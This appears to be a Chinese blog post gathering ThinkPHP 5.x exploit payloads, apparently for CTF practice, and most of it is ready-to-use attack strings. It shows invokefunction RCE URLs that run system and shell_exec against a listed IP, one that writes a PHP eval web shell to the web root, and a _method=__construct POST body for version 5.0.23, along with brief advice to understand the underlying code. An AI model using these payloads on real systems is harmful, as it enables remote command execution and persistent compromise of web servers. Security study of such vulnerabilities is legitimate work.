Thinkphp框架漏洞payload整合
2022-07-28 14:14:58
176
{{single.collect_count}}

PS:针对不同的情况有些payload可能不适用 可以都尝试尝试 一定要自己审计理解原理

部分payload来源以及合集来源:

​​​​​​ThinkPHP漏洞复现_半盏时光、旧梦悠长的博客-CSDN博客_thinkphp复现

深入学习理解可以参考如上的链接地址

  • Thinkphp 5.0.5-5.0.22  Thinkphp 5.1.0-5.1.30 远程代码执行漏洞(5.0.20最适用)

payload如下:(这是执行system函数的payload)

 在index.php后把响应内容作为参数GET提交即可

http://111.200.241.244:51358/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=lshttp://111.200.241.244:51358/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "*flag*"http://111.200.241.244:51358/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat ../../../flag

用于写入shell的payload  

此时调用的函数是file_put_contents  写入一句话木马到www根目录下的zxc1.php

// POST内的可以更改http://111.200.241.244:51809/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=%3C?php%20@eval($_POST[a]);?%3E

也可以借助函数shell_exec的payload

// 命令"id"可更改/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=whoami

 也可以直接构造phpinfo的界面

http://111.200.241.244:51809/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1` and it'll execute the phpinfo:

其实可以利用的函数和功能很多 所以核心是理解漏洞产生的代码原理

  • Thinkphp 5.0.x-5.0.23 远程代码执行漏洞 (主要是5.0.23)

利用方式:

在index.php?a=captcha界面 通过burp抓包 将提交方式修改为POST 在包中最后增加如下一句话即可  可以直接访问index界面 在包中顺带修改url请求地址

如下修改

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

有些环境没有办法测试成功 所以需要自行理解代码分析

 

回帖
全部回帖({{commentCount}})
{{item.user.nickname}} {{item.user.group_title}} {{item.friend_time}}
{{item.content}}
{{item.comment_content_show ? '取消' : '回复'}} 删除
回帖
{{reply.user.nickname}} {{reply.user.group_title}} {{reply.friend_time}}
{{reply.content}}
{{reply.comment_content_show ? '取消' : '回复'}} 删除
回帖
收起
没有更多啦~
{{commentLoading ? '加载中...' : '查看更多评论'}}